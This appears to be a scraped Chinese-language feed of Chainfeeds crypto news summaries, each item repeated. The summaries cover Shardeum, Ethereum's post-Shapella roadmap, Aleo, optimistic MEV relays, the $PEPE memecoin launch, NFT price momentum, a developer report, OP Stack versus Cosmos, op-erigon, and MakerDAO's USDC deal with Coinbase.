    Chainfeeds 导读： Shardeum 很可能是扩展和分片领域的主要竞争者之一，因为他们自 2017 年以来一直在构建自己的高级分片版本。目前 Shardeum 仍处于测试网阶段，这意味着用户仍有可能获得 SHM 空投。加密研究员 Fishmarketacademy 对 Shardeum 的特点及生态进行了概述，中本版本由链捕手编译发布。 文章来源： https://www.chaincatcher.com/article/2091581 文章作者： Fishmarketacademy 观点： Fishmarketacademy：Shardeum 独特功能：1）Shardeum 使用独特的分片技术称为动态分布，与静态分片不同，动态分片不会减慢网络速度，并且能够轻松应对网络负载的波动；2）Shardeum 也支持利用原子处理技术来确保事务正确执行；3）自动缩放功能：基于负载测量每个周期的网络负载，整个过程自我执行，无需任何中介； 内容来源 Fishmarketacademy：4）线性缩放：允许在网络中添加更多节点，以在需求高峰期间立即增加交易吞吐量，使 Shardeum 成为一个线性扩展的 Web3 网络；5）Shardeum 使用独特的共识机制组合，同时使用权益证明 (PoS) + 法定人数证明 (PoQ)；6）在 Shardeum 上，共识和处理是在交易级别而不是块级别完成的。这使得 Shardeum 能够永远为开发者和用户保持低 Gas 费用。 内容来源 Fishmarketacademy：Shardeum 目前拥有三个测试网：Shardeum Liberty 1.X、Liberty 2.X 和 Sphinx1.X，其生态系统中有 69 个项目，其中 Shardeum 测试网上唯一运行的 DEX 是 Swapped Finance，用户可以在其中交换不同的代币并收取 0.3% 的费用，以及提供流动性并按比例在所有交易中赚取约 0.21% 的费用。 内容来源  ( 4 min )
    详解 Shardeum 的基本概念及运作机制
    Chainfeeds 导读： Shardeum 很可能是扩展和分片领域的主要竞争者之一，因为他们自 2017 年以来一直在构建自己的高级分片版本。目前 Shardeum 仍处于测试网阶段，这意味着用户仍有可能获得 SHM 空投。加密研究员 Fishmarketacademy 对 Shardeum 的特点及生态进行了概述，中本版本由链捕手编译发布。 文章来源： https://www.chaincatcher.com/article/2091581 文章作者： Fishmarketacademy 观点： Fishmarketacademy：Shardeum 独特功能：1）Shardeum 使用独特的分片技术称为动态分布，与静态分片不同，动态分片不会减慢网络速度，并且能够轻松应对网络负载的波动；2）Shardeum 也支持利用原子处理技术来确保事务正确执行；3）自动缩放功能：基于负载测量每个周期的网络负载，整个过程自我执行，无需任何中介； 内容来源 Fishmarketacademy：4）线性缩放：允许在网络中添加更多节点，以在需求高峰期间立即增加交易吞吐量，使 Shardeum 成为一个线性扩展的 Web3 网络；5）Shardeum 使用独特的共识机制组合，同时使用权益证明 (PoS) + 法定人数证明 (PoQ)；6）在 Shardeum 上，共识和处理是在交易级别而不是块级别完成的。这使得 Shardeum 能够永远为开发者和用户保持低 Gas 费用。 内容来源 Fishmarketacademy：Shardeum 目前拥有三个测试网：Shardeum Liberty 1.X、Liberty 2.X 和 Sphinx1.X，其生态系统中有 69 个项目，其中 Shardeum 测试网上唯一运行的 DEX 是 Swapped Finance，用户可以在其中交换不同的代币并收取 0.3% 的费用，以及提供流动性并按比例在所有交易中赚取约 0.21% 的费用。 内容来源  ( 4 min )
    上海升级完成，以太坊路线图下一步将走向何方？
    Chainfeeds 导读： 上周的 Shapella 升级对以太坊来说意义重大，但扩展网络的工作才刚刚开始。Bankless 研究员 Donovan Choy 对以太坊在 Shapella 升级后的发展方向进行了解读，包括 EIP-4844 坎昆硬分叉、分布式验证者技术和提议者 / 构建者分离等工作。中文版本由 Gwei Research 编译发布。 文章来源： https://mp.weixin.qq.com/s/a1iwgHovmn2Qqhow0Up9eg 文章作者： Donovan Choy（Bankless 作者） 观点： Donovan Choy（Bankless 作者）：EIP-4844 坎昆硬分叉：Rollup 只是以太坊扩展性的临时解决方案，仍然过于昂贵和缓慢。EIP-4844 旨在提高使用 Rollup 的速度和成本，当 proto-danksharding 完成之后，以太坊区块可以存储 1-2 兆字节的数据，估计显着降低使用 Rollup 的成本 20 倍。目前我们知道 EIP-4844 计划在 2023 年第三季度至第四季度的某个时间进行。但与大多数大型以太坊网络升级一样，预计它可能会出现延迟。 内容来源 Donovan Choy（Bankless 作者）：分布式验证者技术（DVT）：这是以太坊基金会自 2019 年以来一直探索的一个研究领域。DVT 试图在不牺牲去中心化的情况下简化节点验证，通过启动一种独立的「小队质押」来实现，且其可能会大大降低目前在 Lido 和中心化交易所积累的 ETH 质押市场中心化程度。DVT 目前尚不可供公众使用，但像 Obol 这样的公司刚刚已经开始测试在主网上的部署，并且可能会在 2023 年第三季度准备就绪。 内容来源 Donovan Choy（Bankless 作者）：提议者 / 构建者分离（PBS）：以太坊协议层的一个主要中心化向量在于区块的构建方式。PBS 旨在在区块构建的两个关键任务之间建立分工：提出区块和构建区块。通过这样做，区块验证者被剥夺了区分单个交易的能力，因为区块的内容不是由最终在链上构建它的同一实体决定的。但 PBS 不会在 2023 年准备就绪，而且很可能再过两年也不会出现。 内容来源  ( 32 min )
    上海升级完成，以太坊路线图下一步将走向何方？
    Chainfeeds 导读： 上周的 Shapella 升级对以太坊来说意义重大，但扩展网络的工作才刚刚开始。Bankless 研究员 Donovan Choy 对以太坊在 Shapella 升级后的发展方向进行了解读，包括 EIP-4844 坎昆硬分叉、分布式验证者技术和提议者 / 构建者分离等工作。中文版本由 Gwei Research 编译发布。 文章来源： https://mp.weixin.qq.com/s/a1iwgHovmn2Qqhow0Up9eg 文章作者： Donovan Choy（Bankless 作者） 观点： Donovan Choy（Bankless 作者）：EIP-4844 坎昆硬分叉：Rollup 只是以太坊扩展性的临时解决方案，仍然过于昂贵和缓慢。EIP-4844 旨在提高使用 Rollup 的速度和成本，当 proto-danksharding 完成之后，以太坊区块可以存储 1-2 兆字节的数据，估计显着降低使用 Rollup 的成本 20 倍。目前我们知道 EIP-4844 计划在 2023 年第三季度至第四季度的某个时间进行。但与大多数大型以太坊网络升级一样，预计它可能会出现延迟。 内容来源 Donovan Choy（Bankless 作者）：分布式验证者技术（DVT）：这是以太坊基金会自 2019 年以来一直探索的一个研究领域。DVT 试图在不牺牲去中心化的情况下简化节点验证，通过启动一种独立的「小队质押」来实现，且其可能会大大降低目前在 Lido 和中心化交易所积累的 ETH 质押市场中心化程度。DVT 目前尚不可供公众使用，但像 Obol 这样的公司刚刚已经开始测试在主网上的部署，并且可能会在 2023 年第三季度准备就绪。 内容来源 Donovan Choy（Bankless 作者）：提议者 / 构建者分离（PBS）：以太坊协议层的一个主要中心化向量在于区块的构建方式。PBS 旨在在区块构建的两个关键任务之间建立分工：提出区块和构建区块。通过这样做，区块验证者被剥夺了区分单个交易的能力，因为区块的内容不是由最终在链上构建它的同一实体决定的。但 PBS 不会在 2023 年准备就绪，而且很可能再过两年也不会出现。 内容来源  ( 32 min )
    研究报告：ZK 赛道融资最大的项目 Aleo
    Chainfeeds 导读： Aleo 是第一个采用零知识证明（ZKP）技术、提供完全私有应用程序的 Layer1 区块链，为用户提供具有绝对隐私的无限计算。加密投研社区 Web3CN 撰写研报对该项目进行分析，涵盖项目简介、愿景、特色和优势、团队及融资信息、发展成果、经济模型、基本面和行业分析、以及风险与机遇。 文章来源： https://mp.weixin.qq.com/s/FuPrjJ5fvx7dFIPkdw0D4g 文章作者： Web3CN 观点： Web3CN：Aleo 和其它公链的不同且独特之处在于对隐私的保护和链上可扩展性。当前区块链搭载的智能合约有两个很大的限制：1）在设计上是完全公开、透明的，因此不允许隐私的存在；2）无法支持亿万用户级别的线上实时游戏或活动。针对上述现象，Aleo 网络基于零知识证明密码学，解决当前公链既保护隐私又支持处理海量数据（可扩展性）的难题。 内容来源 Web3CN：在实现隐私保障的同时，还可实现可扩展性，这些都对区块链乃至 web3 的未来发展至关重要。这是零知识证明未来的应用前景，也是 Aleo 网络的前景。在 Layer1 方面，和 Starware、zkSync、Scroll 等 Layer2 项目不同，Aleo 网络具备自己的 snarkVM、Leo 编程语言、Aleo Studio 开发环境、PoSW 共识机制等，意味在零知识领域，基于 Aleo 开发的应用和生态系统都大大地超过 Layer2 ZK 项目，而应用生态和系统带来的海量市场和可观资本是超乎想象的。 内容来源  ( 32 min )
    研究报告：ZK 赛道融资最大的项目 Aleo
    Chainfeeds 导读： Aleo 是第一个采用零知识证明（ZKP）技术、提供完全私有应用程序的 Layer1 区块链，为用户提供具有绝对隐私的无限计算。加密投研社区 Web3CN 撰写研报对该项目进行分析，涵盖项目简介、愿景、特色和优势、团队及融资信息、发展成果、经济模型、基本面和行业分析、以及风险与机遇。 文章来源： https://mp.weixin.qq.com/s/FuPrjJ5fvx7dFIPkdw0D4g 文章作者： Web3CN 观点： Web3CN：Aleo 和其它公链的不同且独特之处在于对隐私的保护和链上可扩展性。当前区块链搭载的智能合约有两个很大的限制：1）在设计上是完全公开、透明的，因此不允许隐私的存在；2）无法支持亿万用户级别的线上实时游戏或活动。针对上述现象，Aleo 网络基于零知识证明密码学，解决当前公链既保护隐私又支持处理海量数据（可扩展性）的难题。 内容来源 Web3CN：在实现隐私保障的同时，还可实现可扩展性，这些都对区块链乃至 web3 的未来发展至关重要。这是零知识证明未来的应用前景，也是 Aleo 网络的前景。在 Layer1 方面，和 Starware、zkSync、Scroll 等 Layer2 项目不同，Aleo 网络具备自己的 snarkVM、Leo 编程语言、Aleo Studio 开发环境、PoSW 共识机制等，意味在零知识领域，基于 Aleo 开发的应用和生态系统都大大地超过 Layer2 ZK 项目，而应用生态和系统带来的海量市场和可观资本是超乎想象的。 内容来源  ( 32 min )
    【英文】解析 Optimistic relay 及三种提高中继器性能的设计
    Chainfeeds 导读： Optimistic relay 增加了提议者（proposer）的利润，费用更便宜且易于维护。Frontier Research 研究员 Ankit Chiplunkar 联合以太坊基金会研究员 Mike Neuder 基于数据对 Optimistic relay 进行研究，撰文探讨中继器在以太坊 MEV-Boost 生态系统中的作用，并提出了多项设计改进以优化系统性能。 文章来源： https://frontier.tech/optimistic-relays-and-where-to-find-them 文章作者： Ankit Chiplunkar 观点： Ankit Chiplunkar：中继器（relay）是 MEV-Boost 架构中的重要组成部分。他们充当区块构建者和提议者之间值得信赖的拍卖行。实现这种信任的机制会增加中继器的延迟和成本，降低提议者费用，并增加协议对中继器的依赖。中继器添加 2 种类型的延迟；1）区块交付延迟，即在下载区块内容时引入的延迟，约 10-100 毫秒延迟，具体取决于位置；2）区块仿真延迟，即在仿真区块内容时引入的延迟。约 140 毫秒延迟。具体取决于区块的大小和验证节点上的负载。【原文为英文】 内容来源 Ankit Chiplunkar：Optimistc relay 通过乐观地假设区块构建者的诚实行为来减少系统中的延迟。如果出块者背离了诚实的行为，导致提议者的资金损失，他们被要求退还提议者和他们的抵押品被用作最后的手段。Optimistic relay 也逐渐消除了中继责任，并收敛到一个更接近于 enshrined PBS 的系统。【原文为英文】 内容来源 Ankit Chiplunkar：3 项改进的设计：1）Optimistic relay v1，异步区块验证，将拍卖的平均时间增加了约 150 毫秒，导致更多的提议者费用，并减少了中继产生的突发仿真成本。2）Optimistic relay v2，异步有效载荷传递，消除了区块延迟传递，将延迟再减少 10-100 毫秒，并减少托管激励。3）Optimistic relay v2.5，无条件支付，完全跳过了区块体的下载，并接受来自构建者的无条件付款。这减少了对中继器充当数据可用性层和区块传播器的依赖。【原文为英文】 内容来源  ( 36 min )
    【英文】解析 Optimistic relay 及三种提高中继器性能的设计
    Chainfeeds 导读： Optimistic relay 增加了提议者（proposer）的利润，费用更便宜且易于维护。Frontier Research 研究员 Ankit Chiplunkar 联合以太坊基金会研究员 Mike Neuder 基于数据对 Optimistic relay 进行研究，撰文探讨中继器在以太坊 MEV-Boost 生态系统中的作用，并提出了多项设计改进以优化系统性能。 文章来源： https://frontier.tech/optimistic-relays-and-where-to-find-them 文章作者： Ankit Chiplunkar 观点： Ankit Chiplunkar：中继器（relay）是 MEV-Boost 架构中的重要组成部分。他们充当区块构建者和提议者之间值得信赖的拍卖行。实现这种信任的机制会增加中继器的延迟和成本，降低提议者费用，并增加协议对中继器的依赖。中继器添加 2 种类型的延迟；1）区块交付延迟，即在下载区块内容时引入的延迟，约 10-100 毫秒延迟，具体取决于位置；2）区块仿真延迟，即在仿真区块内容时引入的延迟。约 140 毫秒延迟。具体取决于区块的大小和验证节点上的负载。【原文为英文】 内容来源 Ankit Chiplunkar：Optimistc relay 通过乐观地假设区块构建者的诚实行为来减少系统中的延迟。如果出块者背离了诚实的行为，导致提议者的资金损失，他们被要求退还提议者和他们的抵押品被用作最后的手段。Optimistic relay 也逐渐消除了中继责任，并收敛到一个更接近于 enshrined PBS 的系统。【原文为英文】 内容来源 Ankit Chiplunkar：3 项改进的设计：1）Optimistic relay v1，异步区块验证，将拍卖的平均时间增加了约 150 毫秒，导致更多的提议者费用，并减少了中继产生的突发仿真成本。2）Optimistic relay v2，异步有效载荷传递，消除了区块延迟传递，将延迟再减少 10-100 毫秒，并减少托管激励。3）Optimistic relay v2.5，无条件支付，完全跳过了区块体的下载，并接受来自构建者的无条件付款。这减少了对中继器充当数据可用性层和区块传播器的依赖。【原文为英文】 内容来源  ( 36 min )
    【英文长推】复盘 $PEPE 的诞生之路
    Chainfeeds 导读： 加密 KOL Crypto Koryo 对近期暴涨的 memecoin $PEPE 诞生历程进行复盘梳理。 文章来源： https://twitter.com/cryptokoryo/status/1648979943764762626 文章作者： Crypto Koryo 观点： Crypto Koryo：整整三周前，即 3 月 30 日，使用 WIX 注册了域名 http://pepe.vip。4 月 4 日，创建了 Twitter 帐户 pepecoineth。在第一条推文之后，10 天内没有任何活动。然后在 4 月 14 日，创建 Telegram 群组，创建 $PEPE 并在 http://dextools.io 上 list。4 月 16 号（list 两天后，以给内部人士买入时间），第一次有影响力的人提到 $PEPE，直到两天前在推特上流行起来，在短短两天内该账户增加 3.5 万名关注者。当然，价格一在推特上传播就开始飙升，散户持续 fomo。【原文为英文】 内容来源  ( 2 min )
    【英文长推】复盘 $PEPE 的诞生之路
    Chainfeeds 导读： 加密 KOL Crypto Koryo 对近期暴涨的 memecoin $PEPE 诞生历程进行复盘梳理。 文章来源： https://twitter.com/cryptokoryo/status/1648979943764762626 文章作者： Crypto Koryo 观点： Crypto Koryo：整整三周前，即 3 月 30 日，使用 WIX 注册了域名 http://pepe.vip。4 月 4 日，创建了 Twitter 帐户 pepecoineth。在第一条推文之后，10 天内没有任何活动。然后在 4 月 14 日，创建 Telegram 群组，创建 $PEPE 并在 http://dextools.io 上 list。4 月 16 号（list 两天后，以给内部人士买入时间），第一次有影响力的人提到 $PEPE，直到两天前在推特上流行起来，在短短两天内该账户增加 3.5 万名关注者。当然，价格一在推特上传播就开始飙升，散户持续 fomo。【原文为英文】 内容来源  ( 2 min )
    【英文】Bankless：上海升级启动一周，带来了哪些新变化？
    Chainfeeds 导读： 以太坊上海升级已经上线一周了，Bankless 研究员 Jack Inabinet 对这一周以太坊生态系统关于上海升级的变化进行了分析解读，表示显示情况很乐观，净验证者数量正在增加，流动性质押衍生品市场发展良好。 文章来源： https://www.bankless.com/eth-withdrawals-one-week-later 文章作者： Jack Inabinet 观点： Jack Inabinet：币安目前在提款队列中的份额已经增加至 25.2%，位列第一，Coinbase 则以 18.3% 的份额跻身前三。虽然提款队列的规模自上周以来略微增加了约 100 名验证者，但自上周以来以太坊已经处理了约 17500 名全额验证者的提款，我们预计随着时间的推移这种情况会减少。目前所有全额提款估计将在 17 天内得到处理。【原文为英文】 内容来源 Jack Inabinet：虽然上海升级启动后，部分提款资金流出激增，但目前已经趋于平缓，现在大部分的提款都是全额，而净流量提款也转为了正数，表示现在质押风险在降低和未来提款数量在减少。截止目前，提款的主要流向都是质押池，自 4 月 10 日以来，ETH 质押累计份额增加了 30 个基点至 15.8%，而同期 LSD 和 CEX 质押供应商的份额分别减少了 10 和 20 个基点。【原文为英文】 内容来源 Jack Inabinet：Coinbase 在上海升级启动的 24 小时内就开启了提款功能，开启后 cbETH 的赎回量立即激增，4 月 13 日达 35600 枚，而 cbETH 供应量的增加也显示了 ETH 持有者对质押的信心。但 Lido 的 stETH 则受到了巨大的抛压困扰。此外，DeFi 借贷市场已经显示出 LSD 供应和需求复苏的迹象。目前以 stETH 和 cbETH 为抵押的 Compound 的以太坊借贷市场利用率达到了 60%，Aave 的 stETH 贷款人收益率也上升至 0.02%。【原文为英文】 内容来源  ( 8 min )
    【英文】Bankless：上海升级启动一周，带来了哪些新变化？
    Chainfeeds 导读： 以太坊上海升级已经上线一周了，Bankless 研究员 Jack Inabinet 对这一周以太坊生态系统关于上海升级的变化进行了分析解读，表示显示情况很乐观，净验证者数量正在增加，流动性质押衍生品市场发展良好。 文章来源： https://www.bankless.com/eth-withdrawals-one-week-later 文章作者： Jack Inabinet 观点： Jack Inabinet：币安目前在提款队列中的份额已经增加至 25.2%，位列第一，Coinbase 则以 18.3% 的份额跻身前三。虽然提款队列的规模自上周以来略微增加了约 100 名验证者，但自上周以来以太坊已经处理了约 17500 名全额验证者的提款，我们预计随着时间的推移这种情况会减少。目前所有全额提款估计将在 17 天内得到处理。【原文为英文】 内容来源 Jack Inabinet：虽然上海升级启动后，部分提款资金流出激增，但目前已经趋于平缓，现在大部分的提款都是全额，而净流量提款也转为了正数，表示现在质押风险在降低和未来提款数量在减少。截止目前，提款的主要流向都是质押池，自 4 月 10 日以来，ETH 质押累计份额增加了 30 个基点至 15.8%，而同期 LSD 和 CEX 质押供应商的份额分别减少了 10 和 20 个基点。【原文为英文】 内容来源 Jack Inabinet：Coinbase 在上海升级启动的 24 小时内就开启了提款功能，开启后 cbETH 的赎回量立即激增，4 月 13 日达 35600 枚，而 cbETH 供应量的增加也显示了 ETH 持有者对质押的信心。但 Lido 的 stETH 则受到了巨大的抛压困扰。此外，DeFi 借贷市场已经显示出 LSD 供应和需求复苏的迹象。目前以 stETH 和 cbETH 为抵押的 Compound 的以太坊借贷市场利用率达到了 60%，Aave 的 stETH 贷款人收益率也上升至 0.02%。【原文为英文】 内容来源  ( 8 min )
    【英文长推】数据分析：NFT 是动量资产，前一天上涨，第二天上涨可能性更大
    Chainfeeds 导读： Proof 研究总监 NFTStatistics.eth 通过分析 2023 年的 NFT 价格变化，得出结论「前一天上涨，第二天上涨的可能性更大」，认为 NFT 是动量资产。 文章来源： https://twitter.com/punk9059/status/1649210638294720512 文章作者： NFTStatistics.eth 观点： NFTStatistics.eth：例如，Otherdeed，在前一天上涨的日子里上涨了 59%，而在前一天没有上涨的日子里仅上涨了 32%。幅度也受到影响。Otherdeed 在上涨后的几天内平均上涨 1.3%，在下跌后的几天内下跌 1.3%。图表数据显示了在所有 NFT 系列中都是这样的，除了 Meebits。我的收获：1）NFT 不是那种你想抄底（catch a falling knife）的资产，最好在买入前看到反转；2）仅仅因为你错过了最初的走势，并不意味着你错过了反弹。【原文为英文】 内容来源  ( 2 min )
    【英文长推】数据分析：NFT 是动量资产，前一天上涨，第二天上涨可能性更大
    Chainfeeds 导读： Proof 研究总监 NFTStatistics.eth 通过分析 2023 年的 NFT 价格变化，得出结论「前一天上涨，第二天上涨的可能性更大」，认为 NFT 是动量资产。 文章来源： https://twitter.com/punk9059/status/1649210638294720512 文章作者： NFTStatistics.eth 观点： NFTStatistics.eth：例如，Otherdeed，在前一天上涨的日子里上涨了 59%，而在前一天没有上涨的日子里仅上涨了 32%。幅度也受到影响。Otherdeed 在上涨后的几天内平均上涨 1.3%，在下跌后的几天内下跌 1.3%。图表数据显示了在所有 NFT 系列中都是这样的，除了 Meebits。我的收获：1）NFT 不是那种你想抄底（catch a falling knife）的资产，最好在买入前看到反转；2）仅仅因为你错过了最初的走势，并不意味着你错过了反弹。【原文为英文】 内容来源  ( 2 min )
    【英文】2023 年一季度开发者报告：新增 9350 名开发者，但活跃开发者和全职开发者人数均有所下降
    Chainfeeds 导读： Electric Capital 发布了 2023 年一季度开发者报告，内容包括活跃开发者数据、全职开发者数据及软件库等。 文章来源： https://www.developerreport.com/blog/newsletter-20230419 文章作者： Electric Capital 观点： Electric Capital：2023 年第一季度虽然市场价格有所下降，但开发者活动依然强劲，每月约有 21697 名活跃开发者，其中 7039 名为全职开发者。此外，2023 年第一季度新增 9350 名开发者。但活跃开发者总数较 2022 年历史高点下降了 17%，全职开发者人数也下降了 10%。背后原因可能是因为开发商季节性效应。此外，这些下降幅度往往与市场规模成正比，最大的下降幅度通常会在网络价值显著上升后的 12 至 14 个月发生。【原文为英文】 内容来源 Electric Capital：全职开发者是一个月内至少有 10 天以上的时间进行代码贡献，目前全职开发者占比约为 70% 至 75% 之间，也就是说虽然全职开发者数量有所减少，但仍然在行业中占据关键作用，且自今年以来，全职开发者的代码提交数量增加了 16%。值得注意的是，2023 年第一季度离开加密货币领域的开发者中的一半都是在 2021 年至 2022 年牛市中加入加密领域的。【原文为英文】 内容来源 Electric Capital：生态系统方面，Aztec 2023 年第一季度新增 24% 的全职开发者、Metamask 新增 18%、Status 新增 13%、Hyperledger 新增 12%、Taiko 新增 11%。而在库领域，2023 年第一季度，全职开发者增长最多的软件库是 Metamask 的 metamask-extension，紧随其后的是 Aztec 的 barretenberg 和 Status 的 status-go。【原文为英文】 内容来源
    【英文】2023 年一季度开发者报告：新增 9350 名开发者，但活跃开发者和全职开发者人数均有所下降
    Chainfeeds 导读： Electric Capital 发布了 2023 年一季度开发者报告，内容包括活跃开发者数据、全职开发者数据及软件库等。 文章来源： https://www.developerreport.com/blog/newsletter-20230419 文章作者： Electric Capital 观点： Electric Capital：2023 年第一季度虽然市场价格有所下降，但开发者活动依然强劲，每月约有 21697 名活跃开发者，其中 7039 名为全职开发者。此外，2023 年第一季度新增 9350 名开发者。但活跃开发者总数较 2022 年历史高点下降了 17%，全职开发者人数也下降了 10%。背后原因可能是因为开发商季节性效应。此外，这些下降幅度往往与市场规模成正比，最大的下降幅度通常会在网络价值显著上升后的 12 至 14 个月发生。【原文为英文】 内容来源 Electric Capital：全职开发者是一个月内至少有 10 天以上的时间进行代码贡献，目前全职开发者占比约为 70% 至 75% 之间，也就是说虽然全职开发者数量有所减少，但仍然在行业中占据关键作用，且自今年以来，全职开发者的代码提交数量增加了 16%。值得注意的是，2023 年第一季度离开加密货币领域的开发者中的一半都是在 2021 年至 2022 年牛市中加入加密领域的。【原文为英文】 内容来源 Electric Capital：生态系统方面，Aztec 2023 年第一季度新增 24% 的全职开发者、Metamask 新增 18%、Status 新增 13%、Hyperledger 新增 12%、Taiko 新增 11%。而在库领域，2023 年第一季度，全职开发者增长最多的软件库是 Metamask 的 metamask-extension，紧随其后的是 Aztec 的 barretenberg 和 Status 的 status-go。【原文为英文】 内容来源
    【英文长推】理清 OP Stack 和 Cosmos Stack 的区别及联系：该如何选择？
    Chainfeeds 导读： Cosmos Stack 和 OP Stack 都是为了帮助开发者尽可能轻松进行构建，目的是共享安全、活跃生态、开源堆栈及通信标准。那么二者之间有何关键的区别？谁更胜一筹？加密研究员 Le Thang 撰文带你读懂。 文章来源： https://twitter.com/LeThang137/status/1649047386805932032 文章作者： Le Thang 观点： Le Thang：OP Stack 和 Cosmos Stack 的区别：1）对 Stack 的控制：Cosmos 允许你完全控制 Stack，可以修改共识层、Slash 及捕获 MEV 等，而 OP 超级链利用以太坊来实现共识和 DA 层，可能会限制其能力；2）成熟度：Cosmos 在主网和通信标准上已经部署超 50 条链，而 OP Stack 仍处于早期阶段；3）中心化程度：一个典型 Cosmos 应用链存在超 100 个验证器，而 OP Stack 则使用一个专用的中心化排序器；【原文为英文】 内容来源 Le Thang：4）安全性：Cosmos Stack 提供 ICS 和 Mesh 安全以提高应用链安全性，但 OP Stack 继承了以太坊安全性；5）资金支持：Cosmos 缺少 VC 支持，而 Coinbase 、a16z 等都在和 OP Labs 一起构建；6）成本及部署便利性：OP Stack 部署成本更低，无需像 Cosmos Stack 那样招募新的验证器组；【原文为英文】 内容来源 Le Thang：总而言之，OP Stack 的优势在于流动性更好、更加安全、工具和钱包的整合及更容易部署和启动。而之所以选择 Cosmos 堆栈，则是因为 Cosmos Stack 是部署主权区块链的成熟 Stack，具有强大的全 Stack 控制能力和深度创新能力。【原文为英文】 内容来源  ( 2 min )
    【英文长推】理清 OP Stack 和 Cosmos Stack 的区别及联系：该如何选择？
    Chainfeeds 导读： Cosmos Stack 和 OP Stack 都是为了帮助开发者尽可能轻松进行构建，目的是共享安全、活跃生态、开源堆栈及通信标准。那么二者之间有何关键的区别？谁更胜一筹？加密研究员 Le Thang 撰文带你读懂。 文章来源： https://twitter.com/LeThang137/status/1649047386805932032 文章作者： Le Thang 观点： Le Thang：OP Stack 和 Cosmos Stack 的区别：1）对 Stack 的控制：Cosmos 允许你完全控制 Stack，可以修改共识层、Slash 及捕获 MEV 等，而 OP 超级链利用以太坊来实现共识和 DA 层，可能会限制其能力；2）成熟度：Cosmos 在主网和通信标准上已经部署超 50 条链，而 OP Stack 仍处于早期阶段；3）中心化程度：一个典型 Cosmos 应用链存在超 100 个验证器，而 OP Stack 则使用一个专用的中心化排序器；【原文为英文】 内容来源 Le Thang：4）安全性：Cosmos Stack 提供 ICS 和 Mesh 安全以提高应用链安全性，但 OP Stack 继承了以太坊安全性；5）资金支持：Cosmos 缺少 VC 支持，而 Coinbase 、a16z 等都在和 OP Labs 一起构建；6）成本及部署便利性：OP Stack 部署成本更低，无需像 Cosmos Stack 那样招募新的验证器组；【原文为英文】 内容来源 Le Thang：总而言之，OP Stack 的优势在于流动性更好、更加安全、工具和钱包的整合及更容易部署和启动。而之所以选择 Cosmos 堆栈，则是因为 Cosmos Stack 是部署主权区块链的成熟 Stack，具有强大的全 Stack 控制能力和深度创新能力。【原文为英文】 内容来源  ( 2 min )
    【英文】基于 OP Stack 的替代执行客户端 op-erigon 介绍：Bedrock 升级如何释放客户端多样性？
    Chainfeeds 导读： 继 a16z 推出 Rust 编写的 OP Stack Rollup 客户端 Magi 后，Test in Prod 也利用模块化和开源 OP Stack 开发了一个替代执行客户端 op-erigon。以太坊研究员 protolambda 撰文对 op-erigon 进行了介绍，并概述了客户端多样性的重要性及和 Bedrock 升级之间的联系。 文章来源： https://dev.optimism.io/client-diversity/ 文章作者： Protolambda 观点： Protolambda：客户端是一个同步区块链的软件，允许用户与之互动。在以太坊中，多个客户端由不同的团队开发和维护，这提供了客户端的多样性。客户端多样性重要的原因包括：1）提供了不同的功能和优化及研究计划；2）为开发者提供了选择，用户可以选择适合自己或特定用例的客户端；3）有助于对冲风险，即使一个客户端存在问题，多样化的客户端集合能够确保网络继续运行。【原文为英文】 内容来源 Protolambda：Bedrock 升级的目的是通过采用和 L1 相同的共识层和执行层分割来实现模块化并支持多个客户端。该升级采用让另一个客户端所需的变化降到最低从而提高灵活性和适应性。这种模块化在 OP 主网的 Cannon 实施计划中得到了呼应：网络能够容纳故障证明多样性。【原文为英文】 内容来源 Protolambda：Test in Prod 团队开发的替代执行客户端 op-erigon 现在可以在 OP Goerli 上进行测试，允许用户在 GitHub 存储库或在 Prod 的 OP Goerli 公共 RPC 中进行测试，最终会发布到 OP 主网上。op-erigon 和 Magi 在 OP Goerli 上的发布不仅突出了 Bedrock 升级的优势，而且我们也希望它们能激励开发者探索 OP Stack 并建立自己的基础设施。【原文为英文】 内容来源  ( 4 min )
    【英文】基于 OP Stack 的替代执行客户端 op-erigon 介绍：Bedrock 升级如何释放客户端多样性？
    Chainfeeds 导读： 继 a16z 推出 Rust 编写的 OP Stack Rollup 客户端 Magi 后，Test in Prod 也利用模块化和开源 OP Stack 开发了一个替代执行客户端 op-erigon。以太坊研究员 protolambda 撰文对 op-erigon 进行了介绍，并概述了客户端多样性的重要性及和 Bedrock 升级之间的联系。 文章来源： https://dev.optimism.io/client-diversity/ 文章作者： Protolambda 观点： Protolambda：客户端是一个同步区块链的软件，允许用户与之互动。在以太坊中，多个客户端由不同的团队开发和维护，这提供了客户端的多样性。客户端多样性重要的原因包括：1）提供了不同的功能和优化及研究计划；2）为开发者提供了选择，用户可以选择适合自己或特定用例的客户端；3）有助于对冲风险，即使一个客户端存在问题，多样化的客户端集合能够确保网络继续运行。【原文为英文】 内容来源 Protolambda：Bedrock 升级的目的是通过采用和 L1 相同的共识层和执行层分割来实现模块化并支持多个客户端。该升级采用让另一个客户端所需的变化降到最低从而提高灵活性和适应性。这种模块化在 OP 主网的 Cannon 实施计划中得到了呼应：网络能够容纳故障证明多样性。【原文为英文】 内容来源 Protolambda：Test in Prod 团队开发的替代执行客户端 op-erigon 现在可以在 OP Goerli 上进行测试，允许用户在 GitHub 存储库或在 Prod 的 OP Goerli 公共 RPC 中进行测试，最终会发布到 OP 主网上。op-erigon 和 Magi 在 OP Goerli 上的发布不仅突出了 Bedrock 升级的优势，而且我们也希望它们能激励开发者探索 OP Stack 并建立自己的基础设施。【原文为英文】 内容来源  ( 4 min )
    MakerDAO 批准向 Coinbase 托管服务转入不超过 5 亿美元 USDC 以获取 2.6% 年化收益
    MakerDAO 批准向 Coinbase 托管服务转入不超过 5 亿美元 USDC 以获取 2.6% 年化收益 据 CoinDesk 报道，加密借贷协议 MakerDAO 已批准为 Coinbase 托管服务开放一个现实资产（RWA）金库，并转入高达 5 亿美元的 USDC 稳定币。Coinbase 托管部门将为存款支付 2.6% 的年利息。此外，该提案禁止 Coinbase 对账户中的资产进行再抵押，包括借出、再投资或以其他方式使用。Coinbase 必须将代币保存在冷钱包中，MakerDAO 将能够在 24 小时内从金库中提取资金，冷钱包中的资金将获得高达 5 亿美元的保额。 内容来源  ( 27 min )
    MakerDAO 批准向 Coinbase 托管服务转入不超过 5 亿美元 USDC 以获取 2.6% 年化收益
